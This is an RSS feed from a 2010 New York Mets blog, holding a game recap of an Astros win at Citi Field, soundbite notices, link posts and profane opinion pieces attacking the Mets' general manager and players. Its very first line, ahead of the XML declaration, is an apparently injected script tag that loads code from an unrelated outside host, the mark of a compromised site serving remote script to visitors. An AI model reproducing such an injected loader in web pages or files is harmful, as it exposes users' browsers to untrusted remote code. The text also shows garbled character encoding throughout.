<script src=http://shoremill.com/_private/blank.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pro Baseball Central &#124; Part of the Sportsday Radio Network &#187; NY Mets Report</title>
	<atom:link href="http://www.probaseballcentral.com/category/ny-mets-report/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.probaseballcentral.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Mon, 30 Aug 2010 01:15:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>New NYSD Story: Bulls rout Quaâ€¦</title>
		<link>http://www.probaseballcentral.com/2010/08/29/new-nysd-story-bulls-rout-qua%e2%80%a6/</link>
		<comments>http://www.probaseballcentral.com/2010/08/29/new-nysd-story-bulls-rout-qua%e2%80%a6/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 01:15:46 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Bulls]]></category>
		<category><![CDATA[E2]]></category>
		<category><![CDATA[Mls Goal]]></category>
		<category><![CDATA[Nysd]]></category>
		<category><![CDATA[Nysportsday]]></category>
		<category><![CDATA[Quakes]]></category>
		<category><![CDATA[Rout]]></category>

		<guid isPermaLink="false">http://www.nymetsreport.com/2010/08/29/new-nysd-story-bulls-rout-qua/</guid>
		<description><![CDATA[New NYSD Story: Bulls rout Quakes on Henryâ€™&#8230; http://www.nysportsday.com/2010/08/29/bulls-rout-quakes-on-henry%e2%80%99s-first-mls-goal/
]]></description>
			<content:encoded><![CDATA[<p>New NYSD Story: Bulls rout Quakes on Henryâ€™&#8230; <a href="http://www.nysportsday.com/2010/08/29/bulls-rout-quakes-on-henry%e2%80%99s-first-mls-goal/"  rel="nofollow">http://www.nysportsday.com/2010/08/29/bulls-rout-quakes-on-henry%e2%80%99s-first-mls-goal/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/29/new-nysd-story-bulls-rout-qua%e2%80%a6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brett Myers and Carlos Lee Make Their Mark in the Astros 4-1 Victory over the Mets</title>
		<link>http://www.probaseballcentral.com/2010/08/29/brett-myers-and-carlos-lee-make-their-mark-in-the-astros-4-1-victory-over-the-mets/</link>
		<comments>http://www.probaseballcentral.com/2010/08/29/brett-myers-and-carlos-lee-make-their-mark-in-the-astros-4-1-victory-over-the-mets/#comments</comments>
		<pubDate>Sun, 29 Aug 2010 20:44:25 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Brad Arnsberg]]></category>
		<category><![CDATA[Bullpen]]></category>
		<category><![CDATA[Carlos Lee]]></category>
		<category><![CDATA[Curt Schilling]]></category>
		<category><![CDATA[First Baseman]]></category>
		<category><![CDATA[Houston Astros]]></category>
		<category><![CDATA[Humberto Quintero]]></category>
		<category><![CDATA[Larry Dierker]]></category>
		<category><![CDATA[Mets Baseball]]></category>
		<category><![CDATA[Mets New York]]></category>
		<category><![CDATA[New York Mets]]></category>
		<category><![CDATA[Night Baseball]]></category>
		<category><![CDATA[Pitches]]></category>
		<category><![CDATA[Pitching Coach]]></category>
		<category><![CDATA[Road Stretch]]></category>
		<category><![CDATA[Shutout]]></category>
		<category><![CDATA[Six Days]]></category>
		<category><![CDATA[Straight Appearances]]></category>
		<category><![CDATA[Straight Games]]></category>
		<category><![CDATA[Strikeout]]></category>

		<guid isPermaLink="false">http://www.nysportsday.com/?p=6752</guid>
		<description><![CDATA[New York &#8211; Righty Brett Myers pitched seven shutout innings to lead the Houston Astros (59-70) to a 4-1 victory over the New York Mets (64-65) in Saturday night baseball at Citi Field. First baseman Carlos Lee was all the offense and defense Houston needed to help the Astros take Game Two on a very [...]]]></description>
			<content:encoded><![CDATA[<p>New York &#8211; Righty Brett Myers pitched seven shutout innings to lead the Houston Astros (59-70) to a 4-1 victory over the New York Mets (64-65) in Saturday night baseball at Citi Field. First baseman Carlos Lee was all the offense and defense Houston needed to help the Astros take Game Two on a very long road stretch.</p>
<p>Myers (10-7) would toss a milestone in the game as he now has pitched six or more innings in all 27 starts this season. The righty also established a new club record for six plus innings appearances at any point in the season, breaking the previous mark of 26 straight games held by Larry Dierker who accomplished the feat on June 20, 1969 to April 17, 1970. The streak for Myers is the longest to start a season since Curt Schilling had 35 straight appearances of at least six innings in 2002 with Arizona.</p>
<p>â€œMyers had another outstanding outing and put us in a position to win the game,â€ Astros manager Brad Mills said after the game. â€œThrowing the ball like he did was outstanding; what he is doing, what he has done and what he was able to do tonight was outstanding.â€</p>
<p>The righty would have this to say of his seven innings, six strikeout performance tonight, â€œI was just following the plan; I just followed what my catcher (Humberto Quintero) put down. He is a smart catcher and followed the plan well and we work well together.â€ Myer would continue by saying, â€œA lot of credit goes to him and pitching coach (Brad Arnsberg) and tonight I just tried to follow my plan and execute my pitches.â€</p>
<p>On his milestone he had this to say, â€œIt is not a big deal I just try to go out and give the team the best chance to win, Iâ€™m not trying to break any records. If it happens it happens, I am not looking too much into it. I am just trying to go out every six days and do the job again. Anything I can do to go out there and help the team win and help the bullpen as much as possible then that is what I am going to do.â€</p>
<p>Houston would get on the board early, jumping all over starter Johan Santana (10-9) getting four hits and plating the first two runs. Carlos Lee and shortstop Tommy Manzella were the two key hits to give the Astros the 2-0 lead.</p>
<p>Carlos Lee would hit a two-run homer in the top of the fifth inning over the left field wall to give the Astros a 4-0 lead. That combined with a â€˜web gemâ€™ play in the bottom of the third inning to dive to his right and rob Mets starter Johan Santana of a hit was one of the two crucial defensive plays to lead Houston to a win.</p>
<p>â€œWe beat a tough pitcher tonight,â€ Lee said of the victory. â€œIt was good to be able to win today and now we need to come out tomorrow and keep the momentum going.â€ The first baseman would continue to say, â€œSantana had a rough first inning and we took advantage and anytime you have a lead with Myers going out there you know that he is guaranteed to go seven and pitch well for us.â€</p>
<p>For Santana it was a tough loss as he has suffered his third consecutive loss this evening. It is only the fourth time in his career that he has dropped at least four straight decisions and only the second time since the 2004 season.</p>
<p>New York would have plenty of opportunities throughout the game to try to cash in on runs and cut into that lead. Rookie Ike Davis laced a double (23) off the right field wall in the bottom of the fourth inning, but two ground outs ended the Mets hopes.Â  It had seemed as if throughout the night every time the Mets had a man on base Myers would have an answer to shut the offense down.</p>
<p>â€œThe Mets had a runner on base every inning it seemed,â€ Myers said. â€œI just tried to make pitches and wanted them to hit the ball at people. If I executed I figured I would be able to get outs, and it just worked out that way.â€</p>
<p>New York had left nine runners on base this evening, while over the last five games they have stranded 46 men on bases. The Mets finally scored the first run in the bottom of the eighth inning as second baseman Luis Castillo started the frame with an infield single. Carlos Beltran would move the runner over on a ground ball that was fielded by relief pitcher Wilton Lopez.</p>
<p>Castillo would eventually score on a David Wright single to right field. It had seemed as if hope and a rally would come for the 33,024 in attendance as Ike Davis would hit a single to right field. Sadly Jeff Francoeur trying to hit a home run struck out swinging to leave the runners on first and second for rookie catcher Josh Thole.Â  Thole would hit a scorching line drive to speedy outfielder Jason Bourgeois to end the inning.</p>
<p>â€œEveryone wants to step up and get the big hits,â€ Wright said after the game. â€œThey want to be the guy that steps up and help us win the game, but sometimes that works against you because you try to do too much instead of getting a hit.â€ On the offensive struggles as of late, â€œYou canâ€™t label one thing as the reason for our struggles. When you look up and down the lineup you see different things and different guys struggling. We have a lot of our key guys out due to injury; combine that with the young players and the guys that are injured; all of that combined is a huge part of our offensive struggles.â€</p>
<p>New York hopes to take Game Three of this series, which will take place on Sunday at 1:10 p.m. Houston will send out starter Bud Norris (6-7, 5.03 ERA) to take on the knuckleball of R.A. Dickey (8-5, 2.64 ERA)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/29/brett-myers-and-carlos-lee-make-their-mark-in-the-astros-4-1-victory-over-the-mets/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Audio: Johan Drops One</title>
		<link>http://www.probaseballcentral.com/2010/08/29/audio-johan-drops-one/</link>
		<comments>http://www.probaseballcentral.com/2010/08/29/audio-johan-drops-one/#comments</comments>
		<pubDate>Sun, 29 Aug 2010 20:42:04 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Astros]]></category>
		<category><![CDATA[Citi]]></category>
		<category><![CDATA[Contact Bob]]></category>
		<category><![CDATA[David Wright]]></category>
		<category><![CDATA[Johan Santana]]></category>
		<category><![CDATA[Mets]]></category>
		<category><![CDATA[Soundbites]]></category>
		<category><![CDATA[Trainor]]></category>

		<guid isPermaLink="false">http://www.nysportsday.com/?p=6747</guid>
		<description><![CDATA[Bob Trainor of Trainor Communications offers these soundbites from   the Astros 4-1 win over the Mets at Citi Field.
Johan Santana
Brett Myers
David Wright
For More Info contact Bob at TrainorComm@gmail.com.
]]></description>
			<content:encoded><![CDATA[<p>Bob Trainor of Trainor Communications offers these soundbites from   the Astros 4-1 win over the Mets at Citi Field.</p>
<p>Johan Santana</p>
<p>Brett Myers</p>
<p>David Wright</p>
<p>For More Info contact Bob at <a href="mailto:trainorcomm@gmail.com">TrainorComm@gmail.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/29/audio-johan-drops-one/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New NYSD Story: A Heap Of Concâ€¦</title>
		<link>http://www.probaseballcentral.com/2010/08/29/new-nysd-story-a-heap-of-conc%e2%80%a6/</link>
		<comments>http://www.probaseballcentral.com/2010/08/29/new-nysd-story-a-heap-of-conc%e2%80%a6/#comments</comments>
		<pubDate>Sun, 29 Aug 2010 20:39:10 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Heap]]></category>
		<category><![CDATA[Nysd]]></category>
		<category><![CDATA[Nysportsday]]></category>

		<guid isPermaLink="false">http://www.nymetsreport.com/2010/08/29/new-nysd-story-a-heap-of-conc/</guid>
		<description><![CDATA[New NYSD Story: A Heap Of Concern for the Giant Defense http://www.nysportsday.com/2010/08/29/a-heap-of-concern-for-the-giant-defense/]]></description>
			<content:encoded><![CDATA[<p>New NYSD Story: A Heap Of Concern for the Giant Defense <a href="http://www.nysportsday.com/2010/08/29/a-heap-of-concern-for-the-giant-defense/"  rel="nofollow">http://www.nysportsday.com/2010/08/29/a-heap-of-concern-for-the-giant-defense/</a></p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.nymetsreport.com%2F2010%2F08%2F29%2Fnew-nysd-story-a-heap-of-conc%2F&amp;linkname=New%20NYSD%20Story%3A%20A%20Heap%20Of%20Conc%26%238230%3B"><img src="http://www.nymetsreport.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/29/new-nysd-story-a-heap-of-conc%e2%80%a6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New NYSD Story: Audio: Johan Dâ€¦</title>
		<link>http://www.probaseballcentral.com/2010/08/29/new-nysd-story-audio-johan-d%e2%80%a6-2/</link>
		<comments>http://www.probaseballcentral.com/2010/08/29/new-nysd-story-audio-johan-d%e2%80%a6-2/#comments</comments>
		<pubDate>Sun, 29 Aug 2010 20:34:55 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Johan]]></category>
		<category><![CDATA[Nysd]]></category>

		<guid isPermaLink="false">http://www.nymetsreport.com/2010/08/29/new-nysd-story-audio-johan-d-2/</guid>
		<description><![CDATA[New NYSD Story: Audio: Johan Drops One http://www.nysportsday.com/2010/08/29/audio-johan-drops-one/]]></description>
			<content:encoded><![CDATA[<p>New NYSD Story: Audio: Johan Drops One <a href="http://www.nysportsday.com/2010/08/29/audio-johan-drops-one/"  rel="nofollow">http://www.nysportsday.com/2010/08/29/audio-johan-drops-one/</a></p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.nymetsreport.com%2F2010%2F08%2F29%2Fnew-nysd-story-audio-johan-d-2%2F&amp;linkname=New%20NYSD%20Story%3A%20Audio%3A%20Johan%20D%26%238230%3B"><img src="http://www.nymetsreport.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/29/new-nysd-story-audio-johan-d%e2%80%a6-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ANOTHER UNINSPIRING POST</title>
		<link>http://www.probaseballcentral.com/2010/08/29/another-uninspiring-post/</link>
		<comments>http://www.probaseballcentral.com/2010/08/29/another-uninspiring-post/#comments</comments>
		<pubDate>Sun, 29 Aug 2010 18:48:21 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Baseball Season]]></category>
		<category><![CDATA[Bob Feller]]></category>
		<category><![CDATA[Brooklyn Cyclones]]></category>
		<category><![CDATA[Calvin Coolidge]]></category>
		<category><![CDATA[Dog Days]]></category>
		<category><![CDATA[Football Season]]></category>
		<category><![CDATA[Future Manager]]></category>
		<category><![CDATA[Heat Wave]]></category>
		<category><![CDATA[Johan Santana]]></category>
		<category><![CDATA[Julius Caesar]]></category>
		<category><![CDATA[Mcnamara]]></category>
		<category><![CDATA[Mets Fans]]></category>
		<category><![CDATA[Ny Mets]]></category>
		<category><![CDATA[Penn League]]></category>
		<category><![CDATA[Rapid Robert]]></category>
		<category><![CDATA[Soft Parade]]></category>
		<category><![CDATA[Suc]]></category>
		<category><![CDATA[Tough As Nails]]></category>
		<category><![CDATA[Tuskahoma]]></category>
		<category><![CDATA[Wally Backman]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2921</guid>
		<description><![CDATA[The dog days of summer look to be going out with a bang in NYC as we will be in the grips of another heat wave just to top off one of the hottest summers in NYC history and for Mets fans, itâ€™s just more month of uninspiring baseball before we get to see what [...]]]></description>
			<content:encoded><![CDATA[<p>The dog days of summer look to be going out with a bang in NYC as we will be in the grips of another heat wave just to top off one of the hottest summers in NYC history and for Mets fans, itâ€™s just more month of uninspiring baseball before we get to see what changes will be made in Flushing.</p>
<p>Seeing that Johan Santana spots an 8.03 ERA in the first inning of his starts, maybe on his days to pitch, the strategy should be reversed, have the closer pitch the first inning then let Santana work innings 2-8.</p>
<p><a href="http://macksmets.blogspot.com/2010/08/rip-calvin-coolidge-julius-caesar.html">R.I.P. Calvin Coolidge Julius Caesar Tuskahoma McLish</a></p>
<p>Congratulations to Wally Backman (future manager of the NY Mets) and his <a href="http://www.amazinavenue.com/2010/8/29/1656225/mets-daily-farm-system-report-8-29">Brooklyn Cyclones on clinching the McNamara Division of the NY-PENN League</a>.</p>
<p>Why do I have a feeling my <a href="http://www.bigblueview.com/2010/8/29/1656706/ravens-24-giants-10-at-least-its">football season is going to suc</a>k as bad as my baseball season.</p>
<p>Go get em Rapid Robert, at 91 <a href="http://sports.espn.go.com/mlb/news/story?id=5509574&amp;campaign=rss&amp;source=ESPNHeadlines">Bob Feller is still tough as nails get well soon</a></p>
<p>Thatâ€™s about it, Mets blogging ainâ€™t as much fun as it used to be</p>
<p>For your listening pleasure, <a href="http://www.youtube.com/watch?v=1XlqCFi6o-E">The Soft Parade</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/29/another-uninspiring-post/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OVER THE BIG PELF RAINBOW</title>
		<link>http://www.probaseballcentral.com/2010/08/28/over-the-big-pelf-rainbow/</link>
		<comments>http://www.probaseballcentral.com/2010/08/28/over-the-big-pelf-rainbow/#comments</comments>
		<pubDate>Sat, 28 Aug 2010 13:40:07 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Bits And Pieces]]></category>
		<category><![CDATA[Carlos Lee]]></category>
		<category><![CDATA[D Hunter]]></category>
		<category><![CDATA[Elevator Shaft]]></category>
		<category><![CDATA[Empire State Building]]></category>
		<category><![CDATA[Fastball]]></category>
		<category><![CDATA[Hunter Pence]]></category>
		<category><![CDATA[Meltdown]]></category>
		<category><![CDATA[Microcosm]]></category>
		<category><![CDATA[Month Of August]]></category>
		<category><![CDATA[Month Of July]]></category>
		<category><![CDATA[Parnell]]></category>
		<category><![CDATA[Pelf]]></category>
		<category><![CDATA[Pelfrey]]></category>
		<category><![CDATA[Resurgence]]></category>
		<category><![CDATA[Seam]]></category>
		<category><![CDATA[Seamer]]></category>
		<category><![CDATA[Tony Larussa]]></category>
		<category><![CDATA[Ups]]></category>
		<category><![CDATA[Ups And Downs]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2919</guid>
		<description><![CDATA[Through all the anger and despair of another lost season in Flushing sometimes you have to step back and look at some positives, though there arenâ€™t many but one is the resurgence of Big Pelf. Â Pelfreyâ€™s season is a microcosm of the Mets this year, more ups and downs than an elevator shaft at the [...]]]></description>
			<content:encoded><![CDATA[<p>Through all the anger and despair of another lost season in Flushing sometimes you have to step back and look at some positives, though there arenâ€™t many but one is the resurgence of Big Pelf. Â Pelfreyâ€™s season is a microcosm of the Mets this year, more ups and downs than an elevator shaft at the Empire State Building.</p>
<p>Pelf had a great start to the season and then was just average in May and June and down right awful in July and now has bounced back to this April quality this month of August. Â So how did Big Pelf turn his season around?</p>
<p>For one thing Pelfrey is back to throwing strikes and using his two seamer Â with authority. It seems any problems Pelf has it always comes down to confidence in his pitches and this year itâ€™s taken him a while to master that two seam fastball which is a new pitch added to his arsenal. It seems that pitch eluded him for the month of July and one thing we know for sure about Big Pelf is for a big strapping guy, he can be quite fragile emotionally. Maybe the July meltdown and the fact that he now realizes his problems are in his head and not his arm will be the turning point to his career. There is too much talent here for Pelfrey not to become a stud pitcher.</p>
<p>I watched just bits and pieces of last nightâ€™s game as I was more involved in the Red Sox-Rays game but I did see that Jerry Manuel brought Bobby Parnell in to pitch the 9<sup>th</sup> inning last night but then let Takahashi finish the game. Parnell Â Kâ€™d Hunter Pence then gave up a single to Carlos Lee who took second on Paganâ€™s double then after Chris Johnson singled Manuel decides itâ€™s time to become Tony LaRussa and over manage by bringing in Takahashi. Why not see if Parnell can get out the jam ? I can see the point of not wanting to lose this game and get Pelfrey a another win but Iâ€™d would think with Parnell having been pitching well in this spot of late and with Parnell looking to fill the void at closer why not let him finish? Even if he gives up a hit and the lead and blows the save, at least you can see how he responds to that as closers have to have short memories in order to succeed. You could lose this battle but win the war if Parnell shows the guts to forget it and comeback strong in his next outing. He could also strikeout the next two batters and have his confidence sore from that experience as well. Maybe that was too much for Jerry Manuel to think about .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/28/over-the-big-pelf-rainbow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>THE OMAR MINAYA PRESS CONFERENCE: A LITTLE SONG, A LITTLE DANCE, A LITTLE SELTZER DOWN YOUR PANTS</title>
		<link>http://www.probaseballcentral.com/2010/08/26/the-omar-minaya-press-conference-a-little-song-a-little-dance-a-little-seltzer-down-your-pants/</link>
		<comments>http://www.probaseballcentral.com/2010/08/26/the-omar-minaya-press-conference-a-little-song-a-little-dance-a-little-seltzer-down-your-pants/#comments</comments>
		<pubDate>Thu, 26 Aug 2010 14:33:19 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Bad Situation]]></category>
		<category><![CDATA[Bathtub]]></category>
		<category><![CDATA[Boycotts]]></category>
		<category><![CDATA[Clubhouse]]></category>
		<category><![CDATA[Conscientious Objectors]]></category>
		<category><![CDATA[Contention]]></category>
		<category><![CDATA[Contracts]]></category>
		<category><![CDATA[Fan Base]]></category>
		<category><![CDATA[Game Statement]]></category>
		<category><![CDATA[Gm]]></category>
		<category><![CDATA[Insults]]></category>
		<category><![CDATA[Intelligence]]></category>
		<category><![CDATA[Jell O]]></category>
		<category><![CDATA[Office Staff]]></category>
		<category><![CDATA[Omar Minaya]]></category>
		<category><![CDATA[Outrage]]></category>
		<category><![CDATA[Personnel Moves]]></category>
		<category><![CDATA[Second Half]]></category>
		<category><![CDATA[Seltzer]]></category>
		<category><![CDATA[Sorry Ass]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2917</guid>
		<description><![CDATA[At this point in the Mets season, my mood has gone from outrage to amusement. The outrage was over the start of the second half of the season when the team decided it was time to pack it in, the amusement is listening to players and the GM tried to tell us the team is [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://1.bp.blogspot.com/_P1IDtAMChmY/S7YNM_01tWI/AAAAAAAAAEk/fml73IrDBDI/s1600/sendintheclowns.jpg" alt="" width="179" height="240" /></p>
<p>At this point in the Mets season, my mood has gone from outrage to amusement. The outrage was over the start of the second half of the season when the team decided it was time to pack it in, the amusement is listening to players and the GM tried to tell us the team is still in contention. ROFLMYFAO!!!!!!!!!!!!</p>
<p>Listening to Omar Minaya discuss the Mets, is like hearing a child try to explain why filling the bathtub with water and Jell-O was a good idea. Youâ€™re so pissed off at them as you survey the situation but the more they try to explain themselves and try to wriggle out of bad situation, it starts to become comical.</p>
<p>Omar is trying very very hard to convince the fan base that this team is still in contention when we all know this team talks tough but when it comes down to fighting for a post season spot, they are a collection of conscientious objectors. As much as Iâ€™m a fan of D-Wright just once Iâ€™d like to hear him say in his after a loss post game statement, that the team needs to get some players who are mentally tough. Who is he worried about pissing off? The manager is clueless and the GM insults our intelligence and the owner is scare shit to be seen in public. Please can someone just say the truth in that clubhouse? Is it that hard to say it? The truth will set your sorry assâ€™s free.</p>
<p>I bet if Omar came out and said â€œAll this mess is on me. I miscalculated on a lot of the personnel here and I gave out contracts that will haunt me and the organization. Iâ€™ve learn a valuable lesson about over paying players and with the help of my front office staff, we are ready to regroup and re-invent they way personnel moves are made with this teamâ€Â  If he would make a statement like that, I bet talks of fan boycotts would go away. In fact if he made a statement like that and was retained by ownership for another year, the out cry for his head, would die down a bit. But if he keeps going with this tired comedy act of his then he needs to be shown the door.Â </p>
<p>I think it has finally <a href="http://www.nydailynews.com/sports/baseball/mets/2010/08/26/2010-08-26_playing_backup_to_ruben_tejada_isnt_sitting_well_with_luis_castillo_josh_thole_h.html?r=sports%2Fbaseball%2Fmets&amp;utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+nydnrss%2Fspo">sunk into Luis Castilloâ€™ head that he has no future here in Queens</a>. I do feel for the guy for at least he puts up a fight to get in the lineup and has some pride unlike the miserable fuck, Oliver Perez, who is no different from Bernie Madoff as first class scam artist.</p>
<p>See if the organization had<a href="http://sports.yahoo.com/mlb/blog/big_league_stew/post/Please-join-us-in-not-attending-tonight-s-New-Yo?urn=mlb-265155"> the brains and passion of Taryn Cooper</a> Mets fans would never complain again (SHOCKING!!! I know) last night she organized the Citi Field Sit Out where fans were asked to NOT attend last night game. Coop herself made the sacrifice of not using her tickets or putting them up for sale. The protest Iâ€™d like is where everyone shows up at Citi Field and in the third inning we all get up and walkout. I wonder if State run SNY TV would cover something like that?</p>
<p>Iâ€™ve always been a fan of the <a href="http://www.hbo.com/hardknocks">HBO show Hard Knocks</a>, but having the Jets and Rex Ryan on this season had made the show appointment TV. Last night was outstanding and the more I watch, the more of a Rex Ryan fan Iâ€™m becoming. I always though Ryan was just a big blowhard but the way he interacts with his coaches and players is classic. He pats players on the back and he tells them when they suck. His confrontation with a D-lineman on the bubble after he finds out that DE Ropati Pitotua blew out his Achilles was riveting as he tells the lineman about Pitotuaâ€™ injury and asks him if â€œhe wants to make the fuckinâ€™ team or do I have get someone off the streetâ€ was Happy Rex morphing into Darth Vader Rex. Special Teams coach Mike Westoff needs his own show, heâ€™s the Paulie Walnuts of Hard Knox.</p>
<p>For your reading pleasure <a href="http://cardinaldiamonddiaries.blogspot.com/2010/08/ma-mere-tootsies-gift.html">please read this post by Ms. Jacqueline Conrad at Cardinal Diamond Diaries </a>about her Grandmothers influence on her becoming a baseball fan.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/26/the-omar-minaya-press-conference-a-little-song-a-little-dance-a-little-seltzer-down-your-pants/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New NYSD Story: Promoters:  Geâ€¦</title>
		<link>http://www.probaseballcentral.com/2010/08/25/new-nysd-story-promoters-ge%e2%80%a6/</link>
		<comments>http://www.probaseballcentral.com/2010/08/25/new-nysd-story-promoters-ge%e2%80%a6/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 20:46:10 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Imposters]]></category>
		<category><![CDATA[Nysd]]></category>
		<category><![CDATA[Promoters]]></category>
		<category><![CDATA[Ringside]]></category>

		<guid isPermaLink="false">http://www.nymetsreport.com/2010/08/25/new-nysd-story-promoters-ge/</guid>
		<description><![CDATA[New NYSD Story: Promoters: Get rid of the imposte&#8230; http://www.nysportsday.com/2010/08/25/promoters-get-rid-of-the-imposters-at-ringside/]]></description>
			<content:encoded><![CDATA[<p>New NYSD Story: Promoters:  Get rid of the imposte&#8230; <a href="http://www.nysportsday.com/2010/08/25/promoters-get-rid-of-the-imposters-at-ringside/"  rel="nofollow">http://www.nysportsday.com/2010/08/25/promoters-get-rid-of-the-imposters-at-ringside/</a></p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.nymetsreport.com%2F2010%2F08%2F25%2Fnew-nysd-story-promoters-ge%2F&amp;linkname=New%20NYSD%20Story%3A%20Promoters%3A%20%20Ge%26%238230%3B"><img src="http://www.nymetsreport.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/25/new-nysd-story-promoters-ge%e2%80%a6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
